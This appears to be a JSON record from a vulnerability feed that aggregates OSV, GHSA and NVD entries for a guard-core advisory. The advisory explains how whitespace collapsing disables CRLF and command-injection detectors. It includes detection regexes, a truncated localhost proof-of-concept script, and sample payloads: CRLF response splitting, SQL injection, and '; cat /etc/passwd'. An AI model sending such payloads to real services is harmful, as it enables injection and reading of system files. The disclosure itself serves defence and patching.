{"vuln_id":"GHSA-w7wg-6q7v-44f2","aliases":["CVE-2026-129303"],"description":"Guard Core: Whitespace-collapse preprocessing permanently disables the CRLF-anchored http-splitting and command-injection detectors in the default detection mode","published_at":"2026-11-19T22:50:13Z","modified_at":"2026-11-19T23:00:36.655732Z","first_seen_at":"2026-11-21T19:15:19.375332Z","severity":"low","severity_source":"ghsa","cvss_score":3.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N","cwe":["CWE-693"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":null,"epss_percentile":null,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://github.com/advisories/GHSA-w7wg-6q7v-44f2"},"matched_alias":null,"items":[{"id":10711,"source":{"id":"osv","name":"OSV.dev"},"title":"GHSA-w7wg-6q7v-44f2: Guard Core: Whitespace-collapse preprocessing permanently disables the CRLF-anchored http-splitting and command-injection detectors in the default detection mode","summary":"Guard Core: Whitespace-collapse preprocessing permanently disables the CRLF-anchored http-splitting and command-injection detectors in the default detection mode\n\n### Summary\n\nIn the default \"enhanced\" detection mode, `ContentPreprocessor.preprocess()` collapses all whitespace (`re.sub(r\"\\s+\", \" \", content)`, `guard_core/detection_engine/preprocessor.py:137` on master `08780f1`; `:384` in the 3.12.0 sdist) **before** pattern matching. This erases every `\\r` and `\\n` from the scanned value, rendering two built-in detectors structurally unmatchable regardless of input:\n\n- http_split — `guard_core/handlers/suspatterns_handler.py:540`: `r\"[\\r\\n]\\s*(?:HTTP\\/[0-9.]+|Location:|Set-Cookie:)\"` requires a literal `\\r` or `\\n`, which no longer exists after preprocessing;\n- cmd_injection — `r\"\\n\\s*(?:bash|sh|...)\\s+-c\\b\"` — same structural death.\n\nThe downstream application receives the **raw** value with CRLF intact (Starlette percent-decodes `%0d%0a` in query parameters before the adapter passes `request.query_params.items()` to `guard_core/utils.py:843-865`), so a response-splitting-shaped payload passes detection unflagged.\n\n### Details\n\nVerified end-to-end against a real uvicorn server running the fastapi-guard adapter over guard-core 3.12.0, default config:\n\n| request (`?q=`) | status |\n|---|---|\n| `value%0d%0aHTTP%2F1.1+200+OK%0d%0aSet-Cookie%3A+pwned%3D1` (decoded to literal CRLF by the framework) | **200 — missed** |\n| `' OR 1=1--` | 400 — blocked (detection otherwise working) |\n| `1 UNION SELECT password FROM users--` | 400 — blocked |\n| `; cat /etc/passwd` | 400 — blocked |\n\nThe legacy mode (no `SecurityConfig` detection attributes) skips preprocessing and catches the same decoded CRLF payload — the gap is specific to the enhanced-mode preprocessing pipeline, which every stock `SecurityConfig` activates. Contrast: every other preprocessing step (URL/HTML/hex/base64 decode) transforms *toward* what the attacker means; whitespace collapse is the one step that removes signal the detectors were written to require.\n\n### PoC\n\n```python\nimport asyncio\nimport httpx\nimport uvicorn\nfrom fastapi import FastAPI\nfrom guard.adapters import SecurityMiddleware  # fastapi-guard adapter over guard-core\nfrom guard_core.models import SecurityConfig\nfrom starlette.middleware import Middleware\n\napp = FastAPI(middleware=[Middleware(\n    SecurityMiddleware, config=SecurityConfig(enable_redis=False))])\n\n@app.get(\"/search\")\nasync def search(q: str = \"\") -> dict:\n    return {\"len\": len(q)}\n\nasync def main() -> None:\n    server = uvicorn.Server(uvicorn.Config(app, host=\"127.0.0.1\", port=8995, log_level=\"error\"))\n    task = asyncio.create_task(server.serve())\n    for _ in range(50):\n        if server.started:\n            break\n        await asyncio.sleep(0.1)\n    async with httpx.AsyncClient() as client:\n        r = await client.get(\"http://127.0.0.1:8995/search\",\n            params={\"q\": \"value%0d%0aHTTP%2F1.1+200+OK%0d%0aSet-Cookie%3A+pwned%3D1\"})\n        print(\"CRLF payload:\", r.status_code, \"(200 = missed)\")\n        r2 = await client.get(\"http://127.0.0.1:8995/search\", params={\"q\": \"' OR 1=1--\"})\n        print(\"SQLi control:\", r2.s\n\nAffected: PyPI:guard-core\n\nFixed in: 3.13.0\n\nReferences:\nhttps://github.com/Guard-Core/guard-core/security/advisories/GHSA-w7wg-6q7v-44f2\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-129303\nhttps://github.com/Guard-Core/guard-core/pull/68\nhttps://github.com/Guard-Core/guard-core/commit/c07239fa1c5aa93e3f179440e79dad652977d3e4\nhttps://github.com/Guard-Core/guard-core/releases/tag/3.13.0\nhttps://github.com/rennf93/guard-core","url":"https://osv.dev/vulnerability/GHSA-w7wg-6q7v-44f2","published_at":"2026-11-19T22:50:13Z","updated_at":"2026-11-19T23:00:36.655732Z","fetched_at":"2026-11-21T19:15:55.946122Z","severity":"low","cvss_score":3.7,"epss":0.00324,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"guard-core","vuln_id":"CVE-2026-129303","vuln_ids":["CVE-2026-129303","GHSA-W7WG-6Q7V-44F2"],"tags":["osv","pypi","fix-available"],"cluster_id":2165,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/10711","html":"https://vulnwatch.ve1ve2.com/item/10711"}},{"id":2369,"source":{"id":"ghsa","name":"GitHub Security Advisories"},"title":"GHSA-w7wg-6q7v-44f2 / CVE-2026-129303: Guard Core: Whitespace-collapse preprocessing permanently disables the CRLF-anchored http-splitting and command-injection detectors in the default detection mode","summary":"Guard Core: Whitespace-collapse preprocessing permanently disables the CRLF-anchored http-splitting and command-injection detectors in the default detection mode\n\n### Summary\n\nIn the default \"enhanced\" detection mode, `ContentPreprocessor.preprocess()` collapses all whitespace (`re.sub(r\"\\s+\", \" \", content)`, `guard_core/detection_engine/preprocessor.py:137` on master `08780f1`; `:384` in the 3.12.0 sdist) **before** pattern matching. This erases every `\\r` and `\\n` from the scanned value, rendering two built-in detectors structurally unmatchable regardless of input:\n\n- http_split — `guard_core/handlers/suspatterns_handler.py:540`: `r\"[\\r\\n]\\s*(?:HTTP\\/[0-9.]+|Location:|Set-Cookie:)\"` requires a literal `\\r` or `\\n`, which no longer exists after preprocessing;\n- cmd_injection — `r\"\\n\\s*(?:bash|sh|...)\\s+-c\\b\"` — same structural death.\n\nThe downstream application receives the **raw** value with CRLF intact (Starlette percent-decodes `%0d%0a` in query parameters before the adapter passes `request.query_params.items()` to `guard_core/utils.py:843-865`), so a response-splitting-shaped payload passes detection unflagged.\n\n### Details\n\nVerified end-to-end against a real uvicorn server running the fastapi-guard adapter over guard-core 3.12.0, default config:\n\n| request (`?q=`) | status |\n|---|---|\n| `value%0d%0aHTTP%2F1.1+200+OK%0d%0aSet-Cookie%3A+pwned%3D1` (decoded to literal CRLF by the framework) | **200 — missed** |\n| `' OR 1=1--` | 400 — blocked (detection otherwise working) |\n| `1 UNION SELECT password FROM users--` | 400 — blocked |\n| `; cat /etc/passwd` | 400 — blocked |\n\nThe legacy mode (no `SecurityConfig` detection attributes) skips preprocessing and catches the same decoded CRLF payload — the gap is specific to the enhanced-mode preprocessing pipeline, which every stock `SecurityConfig` activates. Contrast: every other preprocessing step (URL/HTML/hex/base64 decode) transforms *toward* what the attacker means; whitespace collapse is the one step that removes signal the detectors were written to require.\n\n### PoC\n\n```python\nimport asyncio\nimport httpx\nimport uvicorn\nfrom fastapi import FastAPI\nfrom guard.adapters import SecurityMiddleware  # fastapi-guard adapter over guard-core\nfrom guard_core.models import SecurityConfig\nfrom starlette.middleware import Middleware\n\napp = FastAPI(middleware=[Middleware(\n    SecurityMiddleware, config=SecurityConfig(enable_redis=False))])\n\n@app.get(\"/search\")\nasync def search(q: str = \"\") -> dict:\n    return {\"len\": len(q)}\n\nasync def main() -> None:\n    server = uvicorn.Server(uvicorn.Config(app, host=\"127.0.0.1\", port=8995, log_level=\"error\"))\n    task = asyncio.create_task(server.serve())\n    for _ in range(50):\n        if server.started:\n            break\n        await asyncio.sleep(0.1)\n    async with httpx.AsyncClient() as client:\n        r = await client.get(\"http://127.0.0.1:8995/search\",\n            params={\"q\": \"value%0d%0aHTTP%2F1.1+200+OK%0d%0aSet-Cookie%3A+pwned%3D1\"})\n        print(\"CRLF payload:\", r.status_code, \"(200 = missed)\")\n        r2 = await client.get(\"http://127.0.0.1:8995/search\", params={\"q\": \"' OR 1=1--\"})\n        print(\"SQLi control:\", r2.s\n\nAffected packages: pip:guard-core\nPatched: guard-core 3.13.0","url":"https://github.com/advisories/GHSA-w7wg-6q7v-44f2","published_at":"2026-11-19T22:50:13Z","updated_at":"2026-11-19T22:50:14Z","fetched_at":"2026-11-21T19:15:18.416784Z","severity":"low","cvss_score":3.7,"epss":0.00324,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"guard-core","vuln_id":"CVE-2026-129303","vuln_ids":["CVE-2026-129303","GHSA-W7WG-6Q7V-44F2"],"tags":["ghsa","pip","CWE-693"],"cluster_id":2165,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/2369","html":"https://vulnwatch.ve1ve2.com/item/2369"}},{"id":6258,"source":{"id":"nvd","name":"NVD CVE API 2.0"},"title":"CVE-2026-129303: Guard Core is an API security core engine for the FastAPI-Guard, FlaskAPI Guard, and DjAPI Guard adapters. From 1.0.0 until 3.13.0, ContentPreprocessor.preproc…","summary":"Guard Core is an API security core engine for the FastAPI-Guard, FlaskAPI Guard, and DjAPI Guard adapters. From 1.0.0 until 3.13.0, ContentPreprocessor.preprocess() in guard_core/detection_engine/preprocessor.py collapses all whitespace before built-in pattern matching in the default enhanced mode. This removes carriage returns and newlines required by the http_split and newline-anchored cmd_injection detectors in guard_core/handlers/suspatterns_handler.py, making those detectors unable to match. Framework-decoded CRLF can therefore pass through Guard Core unflagged while the downstream application still receives the raw newline-bearing value. Direct security impact requires a downstream stack or application that persists or re-emits the value into a CRLF-tolerant response or command context. This issue is fixed in version 3.13.0.\n\nReferences:\nhttps://github.com/Guard-Core/guard-core/commit/c07239fa1c5aa93e3f179440e79dad652977d3e4\nhttps://github.com/Guard-Core/guard-core/pull/68\nhttps://github.com/Guard-Core/guard-core/releases/tag/3.13.0\nhttps://github.com/Guard-Core/guard-core/security/advisories/GHSA-w7wg-6q7v-44f2\nhttps://github.com/Guard-Core/guard-core/security/advisories/GHSA-w7wg-6q7v-44f2","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-129303","published_at":"2026-11-16T20:19:01.200000Z","updated_at":"2026-11-16T22:18:20.080000Z","fetched_at":"2026-11-21T19:15:31.482032Z","severity":"low","cvss_score":3.7,"epss":0.00324,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":null,"vuln_id":"CVE-2026-129303","vuln_ids":["CVE-2026-129303","GHSA-W7WG-6Q7V-44F2"],"tags":["CWE-693"],"cluster_id":2166,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/6258","html":"https://vulnwatch.ve1ve2.com/item/6258"}}]}